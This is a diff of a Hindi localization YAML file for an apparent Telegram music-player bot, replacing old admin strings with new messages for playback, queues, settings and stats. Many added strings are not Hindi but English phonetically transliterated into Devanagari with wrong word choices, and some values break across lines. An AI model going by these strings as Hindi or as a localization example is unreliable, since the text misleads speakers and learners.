-SA_B_8 : "🤖 बॉट आँकड़े"
-
-
-
-# Sudo Users [ If you are translating this to some other language .. you can leave all these strings in english language]
-
-#Sudo
-sudo_1 : "{0} पहले से ही एक sudo उपयोगकर्ता है।"
-sudo_2 : "सुडो उपयोगकर्ताओं के लिए ***** जोड़ा गया।"
-sudo_3 : "बॉट के सूडो का हिस्सा नहीं है।"
-sudo_4 : "बॉट के सूडो उपयोगकर्ता से हटाया गया"
-sudo_5 : "⭐️ **मालिक:**\n"
-sudo_6 : "\n⭐️ **सुडो उपयोगकर्ता:**\n"
-sudo_7 : "कोई सूडो उपयोगकर्ता नहीं"
-
-#Block
-block_1 : "{0} पहले से ही बॉट से अवरुद्ध है।"
-block_2 : "**{0}** को बॉट की ब्लॉक सूची में जोड़ा गया। उपयोगकर्ता अब किसी भी स्थिति में बॉट का उपयोग नहीं कर पाएगा।\n\nअवरुद्ध उपयोगकर्ताओं की जाँच करें: /अवरुद्ध उपयोगकर्ता"
-block_3 : "उपयोगकर्ता पहले से ही मुफ़्त है और अवरुद्ध नहीं है।"
-block_4 : "उपयोगकर्ता को ब्लॉक सूची से हटाया गया। यूजर अब बॉट का इस्तेमाल कर सकेगा।"
-block_5 : "कोई अवरुद्ध उपयोगकर्ता नहीं मिला"
-block_6 : "अवरुद्ध उपयोगकर्ता सूची प्राप्त करना.. कृपया प्रतीक्षा करें"
-block_7 : "**अवरुद्ध उपयोगकर्ता:**\n\n"
-
-#Blacklist Chats
-black_1 : "**उपयोग:**\n/ब्लैक लिस्ट चैट [CHAT_ID]"
-black_2 : "चैट पहले से ही ब्लैक लिस्टेड है।"
-black_3 : "चैट को सफलतापूर्वक ब्लैकलिस्ट कर दिया गया है"
-black_4 : "**उपयोग:**\n/श्वेतसूचीचैट [CHAT_ID]"
-black_5 : "चैट पहले से ही श्वेतसूची में है।"
-black_6 : "चैट को सफलतापूर्वक श्वेतसूची में डाल दिया गया है"
-black_7 : "**ब्लैक लिस्टेड चैट्स:**\n\n"
-black_8 : "कोई ब्लैकलिस्टेड चैट नहीं"
-
-#videolimit
-vid_1 : "**उपयोग:**\n/set_video_limit [चैट की संख्या की अनुमति है] या [अक्षम करें]"
-vid_2 : "कृपया सीमा निर्धारित करने के लिए संख्यात्मक संख्याओं का प्रयोग करें।"
-vid_3 : "वीडियो कॉल की अधिकतम सीमा {0} चैट के लिए निर्धारित है।"
-vid_4 : "वीडियो कॉल अक्षम"
-
-#maintenance
-maint_1 : "**उपयोग:**\n/रखरखाव [सक्षम करें|अक्षम करें]"
-maint_2 : "रखरखाव के लिए सक्षम"
-maint_3 : "रखरखाव मोड अक्षम"
-
-#log
-log_1 : "**उपयोग:**\n/लॉगर [सक्षम करें|अक्षम करें]"
-log_2 : "सक्षम लॉगिंग"
-log_3 : "लॉगिंग अक्षम"
-
-#videomode
-vidmode_1 : "**उपयोग:**\n/वीडियो मोड [डाउनलोड|m3u8]"
-vidmode_2 : "वीडियो प्ले मोड डाउनलोडर के रूप में सेट है। बॉट अब ट्रैक डाउनलोड कर रहा होगा।"
-vidmode_3 : "वीडियो प्ले मोड को m3u8 के रूप में सेट किया गया है। बॉट अब लाइव प्ले ट्रैक होंगे।"
-
-#broadcast
-broad_1 : "**बॉट से {1} पिन के साथ {0} चैट में प्रसारित संदेश।**"
-broad_2 : "सहायक प्रसारण प्रारंभ किया गया..."
-broad_3 : "**सहायक प्रसारण:**\n\n"
-broad_4 : "Assistant {0} Broadcasted in {1} chats\n"
-broad_5 : "**Usage**:\n/broadcast [MESSAGE] or [Reply to a Message]"
-broad_6 : "Please provide some text to broadcast."
-broad_7 : "**Broadcasted Message to {0} Users.**"
-
-#Heroku
-heroku_1 : "कृपया सुनिश्चित करें कि आपकी हेरोकू एपीआई कुंजी, आपका ऐप नाम उसकेोकू में सही ढंग से कॉन्फ़िगर किया गया है"
-heroku_2 : "आप केवल Heroku Apps के लॉग प्राप्त कर सकते हैं"
-heroku_3 : "**उपयोग:**\n/get_var [वर नाम]"
-heroku_4 : "ऐसा कोई भी संस्करण खोजने में असमर्थ।"
-heroku_5 : ".env फ़ाइल नहीं मिली।"
-heroku_6 : "**उपयोग:**\n/del_var [वर नाम]"
-heroku_7 : "{0} हटा दिया गया।"
-heroku_8 : "**उपयोग:**\n/set_var [वर नाम] [वर मान]"
-heroku_9 : "{0} सफलतापूर्वक अपडेट कर दिया गया है"
-heroku_10 : "{0} सफलतापूर्वक जोड़ दिया गया है"
-heroku_11 : "केवल हरोकू ऐप्स के लिए"
-heroku_12 : "हरोकू उपयोग की जाँच करना। कृपया प्रतीक्षा करें"
-heroku_13 : "उपलब्ध अपडेट की जांच की जा रही है..."
-heroku_14 : "गिट कमांड त्रुटि"
-heroku_15 : "अमान्य गिट रिपोजिटरी"
-
-#Private bot mode
-pbot_1 : "**उपयोग:**\n/अधिकृत [CHAT_ID]"
-pbot_2 : "**उपयोग:**\n/अनधिकृत [CHAT_ID]"
-pbot_3 : "दी गई चैट को अधिकृत सूची में जोड़ा गया"
-pbot_4 : "दी गई चैट को अधिकृत सूची से हटाया गया"
-pbot_5 : "चैट पहले से ही अधिकृत सूची में है"
-pbot_6 : "अधिकृत सूची में ऐसी कोई चैट मौजूद नहीं है"
-pbot_7 : "chat_id सत्यापित करने में विफल.\n\nसुनिश्चित करें कि यह अंकीय और सही प्रारूप में है. चैट उपयोगकर्ता नाम या लिंक का उपयोग न करें।"
-pbot_8 : "कृपया प्रतीक्षा करें.... अधिकृत चैट लाई जा रही हैं।"
-pbot_9 : "**प्राप्त चैट:**\n\n"
-pbot_10 : "निजी चैट"
-pbot_11 : "कोई अधिकृत चैट नहीं मिली"
-pbot_12 : "निजी बॉट मोड अक्षम है।\n\nअपने बॉट को निजी बॉट के रूप में उपयोग करने के लिए **PRIVATE_BOT_MODE** = **सही** सेट करना सुनिश्चित करें"
-pbot_13 : "\n**अनफ़ेच्ड चैट:**\n\n"
-
-#Gbanned
-gban_1 : "You want to gban yourself? How Fool!"
-gban_2 : "Should i block myself? Lol"
-gban_3 : "You want to block a sudo user?"
-gban_4 : "{0} is already **gbanned** from the bot."
-gban_5 : "**Initializing Gobal Ban on {0}**\n\nExpected Time : {1}."
-gban_6 : "**Gbanned Successfully**\n\nBanned **{0}** from **{1}** chats."
-gban_7 : "{0} is not **gbanned **yet from the bot."
-gban_8 : "**Ungbanning {0}**\n\nExpected Time : {1}."
-gban_9 : "**UnGbanned Successfully**\n\nUnbanned **{0}** in **{1}** chats."
-gban_10 : "No Gbanned Users Found."
-gban_11 : "Please wait a while.. Fetching Gbanned users list"
+name : 🇮🇳 हिंदी
+
+
+general_1: "» एक उपयोगकर्ता के संदेश का उत्तर दें या उपयोगकर्ता नाम / उपयोगकर्ता ID दें।"
+general_2: "» कुछ गड़बड़ हो गई थी आपके क्वेरी को प्रोसेस करते समय।\n\nअपवाद: {0}
"
+general_3: "आप इस चैट में एक गुमनाम व्यवस्थापक हैं, मुझे उपयोग करने के लिए उपयोगकर्ता खाता पर वापस लौटें।"
+general_4: "» आपकी अनुमतियाँ वीडियो चैट प्रबंधित करने के लिए नहीं हैं।\n\nव्यवस्थापक कैश को पुनः लोड करें /reload के माध्यम से"
+general_5: "» बॉट वीडियोचैट पर स्ट्रीमिंग नहीं कर रहा है।"
+
+tg_1: "{0} डाउनलोडर\n\nफ़ाइल का आकार : {1}\nपूर्ण हो गया : {2}\nप्रतिशत : {3}%\n\nगति : {4}/s\nETA : {5}"
+tg_2: "सफलतापूर्वक डाउनलोड किया गया, फ़ाइल प्रोसेस की जा रही है...\n\nसमय गुजरा : {0}"
+tg_3: "मीडिया टेलीग्राम से डाउनलोड करने में विफल, कृपया पुनः प्रयास करें..."
+tg_4: "» पहले से ही डाउनलोड पूरा हो गया है।"
+tg_5: "» डाउनलोड पहले से ही पूरा हो गया है या रद्द किया गया है।"
+tg_6: "» डाउनलोड रद्द कर दिया गया है।"
+tg_7: "» डाउनलोड रद्द किया गया है द्वारा : {0}"
+tg_8: "डाउनलोड रोकने में विफल।"
+tg_9: "चल रहे डाउनलोड कार्य प्राप्त करने में विफल।"
+
+call_1: "» बोट को लिंक के माध्यम से उपयोगकर्ताओं को आमंत्रित करने की अनुमति की आवश्यकता होती है ताकि सहायक को आपकी चैट में आमंत्रित किया जा सके।"
+call_2: "{0} सहायक आपके समूह/चैनल में प्रतिबंधित है।\n\nआईडी : {1}
\nनाम : {2}\nउपयोगकर्ता नाम : @{3}\n\nकृपया सहायक को अनबैन करें और पुनः प्रयास करें।"
+call_3: "सहायक को आपकी चैट में आमंत्रित करने में विफल।\n\nकारण : {1}
"
+call_4: "कृपया प्रतीक्षा करें...\n\n{0} सहायक को आपकी चैट में आमंत्रित किया जा रहा है..."
+call_5: "{0} सहायक सफलतापूर्वक शामिल हो गया।\n\nप्रसारण शुरू करने का प्रयास किया जा रहा है..."
+call_6: "» प्रसारण स्विच करने में विफल। कृपया पुनः /skip का उपयोग करके ट्रैक को फिर से बदलें।"
+call_7: "» अगले ट्रैक को कतार से डाउनलोड किया जा रहा है।\n\nकृपया प्रतीक्षा करें..."
+call_8: "↬ द्वारा जोड़ा गया :"
+
+auth_1: "» आपके समूह में केवल 25 प्रमाणित उपयोगकर्ताएँ हो सकती हैं।"
+auth_2: "» {0} को प्रमाणित उपयोगकर्ताओं की सूची में जोड़ दिया गया है।"
+auth_3: "{0} पहले से ही प्रमाणित उपयोगकर्ताओं की सूची में है।"
+auth_4: "» {0} को प्रमाणित उपयोगकर्ताओं की सूची से हटा दिया गया है।"
+auth_5: "{0} प्रमाणित उपयोगकर्ताओं की सूची में नहीं है।"
+auth_6: "» प्रमाणित उपयोगकर्ताओं की सूची को पुनर्प्राप्त किया जा रहा है..."
+auth_7: "» {0} की प्रमाणित उपयोगकर्ताओं की सूची में :\n\n"
+auth_8: "↬ द्वारा जोड़ा गया :"
+
+reload_1: "» आपको केवल 3 मिनट में एक बार व्यवस्थापक कैश को ताज़ा करने की अनुमति होती है।\n\nकृपया {0} के बाद पुनः प्रयास करें।"
+reload_2: "» व्यवस्थापक कैश सफलतापूर्वक ताज़ा किया गया।"
+reload_3: "» व्यवस्थापक कैश को ताज़ा करने में विफल, सुनिश्चित करें कि बोट आपकी चैट में व्यवस्थापक है।"
+reload_4: "» कृपया प्रतीक्षा करें...\n\n{0} को आपकी चैट के लिए दोबारा शुरू किया जा रहा है।"
+reload_5: "{0} को आपकी चैट के लिए सफलतापूर्वक दोबारा आरंभ किया गया।\n\nफिर से प्रारंभ करने का प्रयास किया जा रहा है..."
+
+admin_1: "» क्या आपको याद है कि आपने प्रसारण को पुनः आरंभ किया था?"
+admin_2: "➻ प्रसारण ठहरा दिया 🎄\n│ \n└द्वारा : {0} 🥀"
+admin_3: "» क्या आपको याद है कि आपने प्रसारण को ठहराया था?"
+admin_4: "➻ प्रसारण पुनः आरंभ 🎄\n│ \n└द्वारा : {0} 🥀"
+admin_5: "➻ प्रसारण समाप्त/रोक दिया 🎄\n│ \n└द्वारा : {0} 🥀"
+admin_6: "➻ प्रसारण रोका 🎄\n│ \n└द्वारा : {0} 🥀\n\n» {1} में अब कोई और ट्रैक कतार में नहीं है, वीडियोचैट छोड़ रहे हैं।"
+admin_7: "स्ट्रीम {0} को बदलते समय त्रुटि।"
+admin_8: "» कृपया लूप प्ले को अक्षम करें और फिर से स्किप का प्रयास करें। /loop disable
के माध्यम से लूप प्ले को अक्षम करें।"
+admin_9: "कृपया स्किप के लिए विशिष्ट संख्याएँ उपयोग करें, जैसे 1, 2, 4..."
+admin_10: "कम से कम 2 ट्रैक्स की आवश्यकता होती है विशिष्ट स्किप के लिए।\n\nकृपया ट्रैक कतार देखें: /queue"
+admin_11: "» ट्रैक्स कतार में पर्याप्त नहीं है विशिष्ट स्किप के लिए।\n\nकृपया 1 और {0} के बीच स्किप करें।"
+admin_12: "» विशिष्ट ट्रैक पर स्किप करने में विफल।\n\nकृपया बचे हुए कतार की जाँच करें: /queue"
+admin_13: "» कृपया व्यवस्थापक कैश को ताज़ा करें: /reload"
+admin_14: "» वीडियो चैट प्रबंधित करने की अनुमति नहीं है।\n\nकृपया व्यवस्थापक कैश को ताज़ा करें: /reload"
+admin_15: "» शफल करने में विफल।\n\nकतार देखें: /queue"
+admin_16: "» कतार को शफल किया गया है {0} द्वारा।\n\nशफल किया गया कतार देखें: /queue"
+admin_17: "{0} स्पीड नियंत्रण पैनल\n\nकर्रेंट प्लेइंग स्ट्रीम की स्पीड बदलने के लिए नीचे दिए गए बटन पर क्लिक करें।"
+admin_18: "» {0} के लिए स्पीड चालू की गई है।\n\nद्वारा : {1}।"
+admin_19: "» स्पीड कंट्रोल बंद किया गया है।\n\nद्वारा : {0}।"
+admin_20: "उदाहरण:\n\n/seek या /seekback [सेकंड में अवधि]"
+admin_21: "» कृपया सेकंड में अवधि के लिए केवल न्यूमेरिक डिजिट्स का उपयोग करें।"
+admin_22: "» लाइव स्ट्रीम्स को सीक नहीं किया जा सकता।"
+admin_23: "» कृपया कम अवधि में सीक करने का प्रयास करें।\n\n{0} मिनटों में प्ले हुआ, {1} मिनटों की क़तार से।"
+admin_24: "सीक किया जा रहा है...\n\nकृपया प्रतीक्षा करें..."
+admin_25: "» स्पीड के साथ सफलतापूर्वक सीक किया गया।\n\nअवधि : {0} मिनटों\nद्वारा : {1}"
+admin_26: "सीक में विफल।"
+admin_27: "» केवल यूट्यूब स्ट्रीम की स्पीड को वर्तमान में नियंत्रित किया जा सकता है।"
+admin_28: "{0} स्पीड नियंत्रण पैनल\n\nकृपया वीडियो चैट पर प्लेइंग स्ट्रीम की स्पीड बदलने के लिए नीचे दिए गए बटनों पर क्लिक करें।"
+admin_29: "» बॉट पहले से ही सामान्य स्पीड पर प्ले कर रहा है।"
+admin_30: "» कृपया प्रतीक्षा करें...\n\nकोई अन्य व्यक्ति स्ट्रीम की स्पीड बदलने का प्रयास कर रहा है।"
+admin_31: "स्पीड बदल रहा है..."
+admin_32: "» चल रहे स्ट्रीम की स्पीड सफलतापूर्वक बदली गई।\n\nअनुरोधकर्ता : {0}"
+admin_33: "» चल रहे स्ट्रीम की स्पीड बदलने में विफल।"
+admin_34: "» चल रहे स्ट्रीम की स्पीड सफलतापूर्वक {0}x की गई।\n\nअनुरोधकर्ता : {1}"
+admin_35: "मतदान समाप्त हो गया है क्योंकि वोटिंग प्रदान किए जाने वाले ट्रैक के लिए समाप्त हो गया है।"
+admin_36: "इस क्रिया को करने में विफल क्योंकि वोटिंग प्रदान किए जाने वाले ट्रैक के लिए समाप्त हो गया है या वो रुका हुआ है।"
+admin_37: "सफलतापूर्वक {0}
अपवोट प्राप्त किए गए।"
+admin_38: "» 1 अपवोट जोड़ा गया।"
+admin_39: "» 1 अपवोट हटा दिया गया।"
+admin_40: "अपवोट किया गया।"
+
+start_1 : "{0} जिंदा है बेबी।\n\n✫ उपकाल : {1}"
+start_2 : "हे {0}, 🥀\n\n๏ यह {1} है !\n\n➻ एक तेज़ और शक्तिशाली टेलीग्राम संगीत प्लेयर बॉट जिसमें कुछ शानदार सुविधाएँ हैं।\n\nसमर्थित प्लेटफ़ॉर्म्स : यूट्यूब, स्पॉटिफ़ाई, रेसो, एप्पल म्यूज़िक और साउंडक्लाउड।\n──────────────────\n๏ मेरे मॉड्यूल्स और कमांड्स के बारे में जानकारी प्राप्त करने के लिए हेल्प बटन पर क्लिक करें।"
+start_3 : "हे {0},\nयह {1} है\n\nआपके द्वारा {2} में मुझे जोड़ने के लिए धन्यवाद, {3} अब इस चैट में गाने बजा सकता है।"
+start_4 : "🎄 सुपरग्रुप की आवश्यकता है 🎄\n\nकृपया अपने ग्रुप को सुपरग्रुप में बदलें और फिर मुझे फिर से जोड़ें।\n\nसुपरग्रुप कैसे बनाएं ?\n- अपने ग्रुप की चैट इतिहास को दृश्यमान बनाएं।"
+start_5 : "↝ ब्लैकलिस्ट की गई चैट ↜\n\nयह चैट {0} डेटाबेस पर ब्लैकलिस्ट है।\nअपनी चैट को अनब्लैकलिस्ट करने के लिए सुडो उपयोगकर्ता से अनुरोध करें या समर्थन चैट पर जाएं।"
+start_6 : "😲 ट्रैक जानकारी 😲\n\n📌 शीर्षक : {0}\n\n⏳ अवधि : {1} मिनट\n👀 दृश्य : {2}
\n⏰ प्रकाशित हुआ : {3}\n📎 चैनल : {5}\n\n🥀 सर्च पावर्ड बाय {6}"
+
+help_1 : "इस ग्रुप के लिए उपयोगकर्ता की मदद के लिए कृपया उपयोगकर्ता जाति को चुनें।\nअपने संदेहों को पूछें समर्थन चैट में\n\nसभी कमांड्स का उपयोग करने के लिए : /
"
+help_2 : "अपने प्राइवेट में मेरे मदद मेनू प्राप्त करने के लिए कृपया नीचे दिए गए बटन पर क्लिक करें।"
+
+lang_1 : "» कृपया ग्रुप की डिफ़ॉल्ट भाषा के रूप में सेट करने के लिए भाषा चुनें :"
+lang_2 : "भाषा सफलतापूर्वक बदल दी गई।"
+lang_3 : "भाषा बदलने में विफल।"
+lang_4 : "आप पहले से ही वही भाषा में हैं।"
+
+setting_1 : "{0} सेटिंग्स पैनल\n\nचैट आईडी : {1}
\nचैट टाइटल : {2}\n\nसेटिंग्स बदलने के लिए नीचे दिए गए बटनों पर क्लिक करें."
+setting_2 : "» डायरेक्ट: सीधे सर्च क्वेरी को चलाता है।\n\n» इनलाइन: वीडियो और ऑडियो के बीच चयन करने के लिए इनलाइन बटन्स प्रदान करता है।"
+setting_3 : "» सभी: किसी भी व्यक्ति को इस ग्रुप में एडमिन कमांड्स [स्किप, पॉज, रिज्यूम आदि] का उपयोग करने की अनुमति है।\n\n» केवल एडमिन: केवल एडमिन और अधिकृत उपयोगकर्ता एडमिन कमांड्स का उपयोग कर सकते हैं।"
+setting_4 : "» कोई अधिकृत उपयोगकर्ता नहीं मिले."
+setting_5 : "» ग्रुप: ग्रुप में संगीत बजाता है जहां कमांड दी जाती है।\n\n» चैनल: वह चैनल चुनें जिसमें संगीत बजना है। /channelplay के माध्यम से चैनल आईडी सेट करें"
+setting_6 : "» सभी: किसी भी व्यक्ति को इस ग्रुप में संगीत बजाने की अनुमति है।\n\n» केवल एडमिन: केवल एडमिन्स ही इस ग्रुप में संगीत बजा सकते हैं।"
+setting_7 : "» कृपया /channelplay के माध्यम से चैनल आईडी सेट करें"
+setting_8 : "जब यह मोड सक्षम होता है, तो वे लोग भी एडमिन कमांड्स का उपयोग कर सकते हैं जिनके पास एडमिन अधिकार नहीं होते हैं, एक निश्चित संख्या में वोट के बाद।"
+setting_9 : "वर्तमान उपवोट्स की आवश्यकता जो एडमिन कमांड्स का उपयोग करने के लिए हैं : {0}"
+setting_10 : "वोटिंग मोड अक्षम है।"
+setting_11 : "न्यूनतम उपवोट्स की गिनती 2 हो सकती है। आप 2 से कम नहीं सेट कर सकते"
+setting_12 : "अधिकतम उपवोट्स की गिनती 15 हो सकती है। आप 15 से अधिक नहीं सेट कर सकते"
+
+set_cb_1 : "आधीकृत उपयोगकर्ताओं का पैनल प्राप्त किया जा रहा है..."
+set_cb_2 : "प्ले मोड पैनल प्राप्त किया जा रहा है..."
+set_cb_3 : "सेटिंग्स बदल रहे हैं..."
+set_cb_4 : "» आधीकृत उपयोगकर्ता सूची प्राप्त की जा रही है..."
+set_cb_5 : "» पीछे जा रहे हैं..."
+
+gstats_1: "गेटिंग {0} स्टैट्स और इनफ़ोर्मेशन...\n\nइसमें समय लग सकता है, कृपया होल्ड ऑन..."
+gstats_2: "क्लिक ऑन थे बट्टन्स बेलोव तो चेक थे स्टैट्स ऑफ {0}."
+gstats_3: "{0} स्टैट्स और इनफ़ोर्मेशन :\n\nअसिस्टंट्स : {1}
\nब्लॉक्ड : {2}
\nचैट्स: {3}
\nयूज़र्स : {4}
\nमॉड्यूल्स : {5}
\nसुडोएर्स : {6}
\n\nऑटो लीविंग असिस्टंट : {7}\nप्ले दुरातिओन लिमिट : {8} मिनट्स"
+gstats_4: "इस बट्टन इस ओनली फॉर सुडोएर्स."
+gstats_5: "{0} स्टैट्स और इनफ़ोर्मेशन :\n\nमॉड्यूल्स : {1}
\nप्लैटफॉर्म : {2}
\nरैम : {3}
\nफिजिकल कोर्स : {4}
\nटोटल कोर्स : {5}
\nसीपीयू फ़्रेक्वेंसी : {6}
\n\nपायथन : {7}
\nपायरोग्राम : {8}
\nपाय-टीजीकैल्स : {9}
\n\nस्टोरेज अवेलेबल : {10} गीब
\nस्टोरेज यूज़्ड : {11} गीब
\nस्टोरेज लेफ्ट : {12} गीब
\n\nसर्व्ह्ड चैट्स : {13}
\nसर्व्ह्ड यूज़र्स : {14}
\nब्लॉक्ड यूज़र्स : {15}
\nसुडो यूज़र्स : {16}
\n\nटोटल डीबी साइज़ : {17} एम्बी
\nटोटल डीबी स्टोरेज : {18} एम्बी
\nटोटल डीबी कलेक्शन्स : {19}
\nटोटल डीबी कीज़ : {20}
"
+
+playcb_1: "» अव्व, थिस इस नोट फ़ॉर यू बेबी."
+playcb_2: "» गेटिंग नेक्स्ट रेसुल्ट,\n\nप्लीज़ वेट..."
+
+cplay_1: "» यू कैन प्ले म्यूज़िक इन चैनल्स फ्रोम {0} तो अन्य चैनल और योर चैट्स लिंकेड चैनल.\n\nफ़ॉर लिंकेड चैनल :\n/channelplay linked
\n\nफ़ॉर अन्य चैनल :\n/channelplay [चैनल आईडी]
"
+cplay_2: "» थिस चैट डोन'ट हेव अन्य लिंकेड चैनल."
+cplay_3: "» चैनल डिफ़ाइन्ड टू {0}.\nचैनल आईडी : {1}
"
+cplay_4: "» फ़ेल्ड टो गेट चैनल.\n\nमेक सुरे यू'वे अद्देड थे बोट इन योर चैनल एंड प्रोमोटेड अस अद्मिन."
+cplay_5: "ओन्ली चैनल्स आरे सुप्पोर्टेड."
+cplay_6: "» यू नीड टो बी थे ओव्नर ऑफ थे चैनल {0} टो कन्नेक्ट इट विथ थिस ग्रूप.\nचैनल'स ओव्नर : @{1}\n\nआल्टरनटिवली यू कैन लिंक योर ग्रूप टो थाट चैनल एंड थेन ट्राई कन्नेक्टिंग विथ /channelplay linked
"
+cplay_7: "» चैनल प्लेय डिसअब्लेड."
+
+play_1: "🔎"
+play_2: "➻ चैनल प्लेय मोड\n\nप्रोसेसिंग, प्लीज़ वेट...\n\nलिंकेड चैनल : {0}"
+play_3: "» फ़ेल्ड टो प्रोसेस क़ुएरी."
+play_4: "एड्मिन्स ओनली प्लेय\nओन्ली एड्मिन्स ऑफ थिस चैट आरे अल्लोवेड टो प्लेय\n\nचेंगे प्लेय मोड विआ /playmode"
+play_5: "» फ़ेल्ड टो प्रोसेस ऑडियो फ़िले.\n\nऑडियो फ़िले सिज़े इस लार्जर थान थे डिफ़ाइन्ड लिमिट."
+play_6: "» स्ट्रीम'स लोंगेर थान {0} आरें'ट अल्लोवेड टो प्लेय ऑन {1}"
+play_7: "» नोट अ वैलिड विडियो फ़िले एक्सटेंशन.\n\nसुप्पोर्टेड एक्सटेंशन्स : {0}"
+play_8: "» विडियो फ़िले सिज़े शोल्ड बी लेस थान 1गीब."
+play_9: "यूट्यूब प्लेयलिस्ट फीचर\n\nसेलेक्ट थे मोड इन व्हिच यू वॉन्ट टो प्लेय होले यूट्यूब प्लेयलिस्ट."
+play_10: "टाइटल : {0}\nड्युरेशन : {1} मिनट्स"
+play_11: "{0} स्पोटिफ़ाई प्लेयर\n\nरिक्वेस्टेड बाय : {1}"
+play_12: "{0} अप्प्ले प्लेयर\n\nरिक्वेस्टेड बाय : {1}"
+play_13: "» लाइव स्ट्रीम डिटेक्टेड.\n\nआरे यू सुरे थाट यू वॉन्ट टो प्लेय लाइव स्ट्रीम इन थिस चैनल?"
+play_14: "ट्रैक डिटेल्स प्राप्त करने में विफल।\n\nकृपया कोई अन्य ट्रैक प्ले करने का प्रयास करें।"
+play_15: "» क्वेरी प्रोसेस करने में विफल।\n\nमैं केवल स्पॉटिफाई ट्रैक्स, एल्बम्स, कलाकारों और प्लेलिस्ट्स प्ले कर सकता हूँ।"
+play_16: "कोई सक्रिय वॉयस चैट नहीं।\n\nफोर्स प्ले का उपयोग करने के लिए किसी सक्रिय वॉयस चैट होनी चाहिए।"
+play_17: "कृपया वीडियो चैट ऑन करें, मैं URL्स को स्ट्रीम करने में असमर्थ हूँ।"
+play_18: "उपयोग: /play [गाने का नाम/YouTube URL/ऑडियो/वीडियो फ़ाइल का उत्तर]"
+play_19: "कतार में जोड़ा गया प्लेलिस्ट:"
+play_20: "कतार में स्थिति-"
+play_21: "{0} ट्रैक्स को कतार में जोड़ा गया।\n\nजाँच करें: यहाँ क्लिक करें"
+play_22: "आपके ग्रुप के अंदर क्यूइड सूचियों को प्ले करने के लिए आपके द्वारा चुने गए मोड: {0}"
+
+str_1 : "कृपया m3u8 या इंडेक्स लिंक्स प्रदान करें।"
+str_2 : "➻ मान्य स्ट्रीम सत्यापित।\n\nप्रोसेसिंग..."
+str_3 : "यूट्यूब लाइव स्ट्रीम प्ले करने में विफल। कोई लाइव प्रारूप नहीं मिला।"
+
+ping_1 : "{0} पिंग कर रहा है..."
+ping_2 : "🏓 पोंग : {0}ms
\n\n{1} सिस्टम स्थिति :\n\n↬ अपटाइम : {2}\n↬ रैम : {3}\n↬ सीपीयू : {4}\n↬ डिस्क : {5}\n↬ पायथन-टीजीसीएल : {6}ms
"
+
+queue_1 : "» कतार प्राप्त हो रही है...\n\nकृपया प्रतीक्षा करें..."
+queue_2 : "» कतार खाली है।"
+queue_3 : "» कतार में ट्रैकों की सूची देखने के लिए यहाँ क्लिक करें : यहाँ"
+queue_4 : "➲ कतार में जोड़ा गया #{0}\n\n‣ शीर्षक : {1}\n‣ अवधि : {2} मिनट\n‣ द्वारा अनुरोधित : {3}"
+queue_5 : "केवल एक कतार में ट्रैक है।\n\nलिस्ट देखने के लिए अधिक ट्रैक जोड़ें।"
+queue_6 : "🕚 अवधि : अज्ञात स्ट्रीम\n\nपूरी कतार की सूची प्राप्त करने के लिए नीचे बटन पर क्लिक करें।"
+queue_7 : "\nनीचे बटन पर क्लिक करें।"
+queue_8 : "{0} प्लेयर\n\n🎄 स्ट्रीमिंग : {1}\n\n🔗 स्ट्रीम प्रकार : {2}\n🥀 अनुरोधक : {3}\n{4}"
+
+stream_1 : "➲ स्ट्रीमिंग शुरू की गई |\n\n‣ शीर्षक : {1}\n‣ अवधि : {2} मिनट\n‣ द्वारा अनुरोधित : {3}"
+stream_2 : "➲ स्ट्रीमिंग शुरू की गई |\n\n‣ स्ट्रीम प्रकार : लाइव स्ट्रीम [URL]\n‣ द्वारा अनुरोधित : {0}"
+
+CLOSE_BUTTON : "बंद करें"
+BACK_BUTTON : "वापस"
+
+S_B_1 : "मुझे जोड़ें"
+S_B_2 : "समर्थन"
+S_B_3 : "मुझे अपने समूह में जोड़ें"
+S_B_4 : "मदद और कमांड्स"
+S_B_5 : "डेवलपर"
+S_B_6 : "चैनल"
+S_B_7 : "स्रोत कोड"
+S_B_8 : "👀 YouTube 👀"
+S_B_9 : "🥀 समर्थन 🥀"
+
+H_B_1 : "एडमिन"
+H_B_2 : "ऑथ"
+H_B_3 : "ब्रॉडकास्ट"
+H_B_4 : "ब्लैकलिस्ट"
+H_B_5 : "ब्लॉक"
+H_B_6 : "चैनल प्ले"
+H_B_7 : "जी-बैन"
+H_B_8 : "लूप"
+H_B_9 : "सुडो"
+H_B_10 : "पिंग"
+H_B_11 : "प्ले"
+H_B_12 : "शफल"
+H_B_13 : "सीक-बैक"
+H_B_14 : "गाना"
+H_B_15 : "गति"
+
+P_B_1 : "ऑडियो"
+P_B_2 : "वीडियो"
+P_B_3 : "लाइव स्ट्रीम"
+P_B_4 : "नॉर्मल"
+
+ST_B_1 : "ऑथ उपयोगकर्ता"
+ST_B_2 : "प्ले मोड"
+ST_B_3 : "भाषा"
+ST_B_4 : "वोटिंग मोड"
+ST_B_5 : "चालू"
+ST_B_6 : "बंद"
+ST_B_7 : "ऑथ उपयोगकर्ता ➜"
+ST_B_8 : "व्यवस्थापक"
+ST_B_9 : "सभी"
+ST_B_10 : "खोज मोड ➜"
+ST_B_11 : "प्रत्यक्ष"
+ST_B_12 : "इनलाइन"
+ST_B_13 : "व्यवस्थापक कमांड ➜"
+ST_B_14 : "प्ले प्रकार ➜"
+
+SA_B_1 : "कुल स्थितियाँ"
+SA_B_2 : "सामान्य"
+SA_B_3 : "कुल"
+
+QU_B_1 : "कतार"
+QU_B_2 : " {0} —————————— {1}"
+
+sudo_1 : "» {0} पहले से ही सुडो उपयोगकर्ताओं की सूची में है।"
+sudo_2 : "» {0} को सुडो उपयोगकर्ताओं की सूची में जोड़ दिया गया।"
+sudo_3 : "» {0} सुडो उपयोगकर्ताओं की सूची में नहीं है।"
+sudo_4 : "» {0} को सुडो उपयोगकर्ताओं की सूची से हटा दिया गया।"
+sudo_5 : "🥀 मालिक :\n"
+sudo_6 : "\n✨ सुडो उपयोगकर्ताएँ :\n"
+sudo_7 : "» सुडो उपयोगकर्ताएँ नहीं मिलीं।"
+sudo_8 : "विफल।"
+
+block_1 : "» {0} पहले से ही ब्लॉक किया गया है।"
+block_2 : "» {0} को ब्लॉक की सूची में जोड़ दिया गया।"
+block_3 : "» {0} ब्लॉक की सूची में नहीं है।"
+block_4 : "» {0} को ब्लॉक की सूची से हटा दिया गया।"
+block_5 : "» ब्लॉक की सूची में कोई उपयोगकर्ता नहीं मिला।"
+block_6 : "» ब्लॉक की सूची मिल रही है..."
+block_7 : "😫 ब्लॉक की सूची :\n\n"
+
+black_1 : "उदाहरण :\n\n/blacklistchat [चैट आईडी]"
+black_2 : "» यह चैट पहले से ही ब्लैकलिस्ट की सूची में है।"
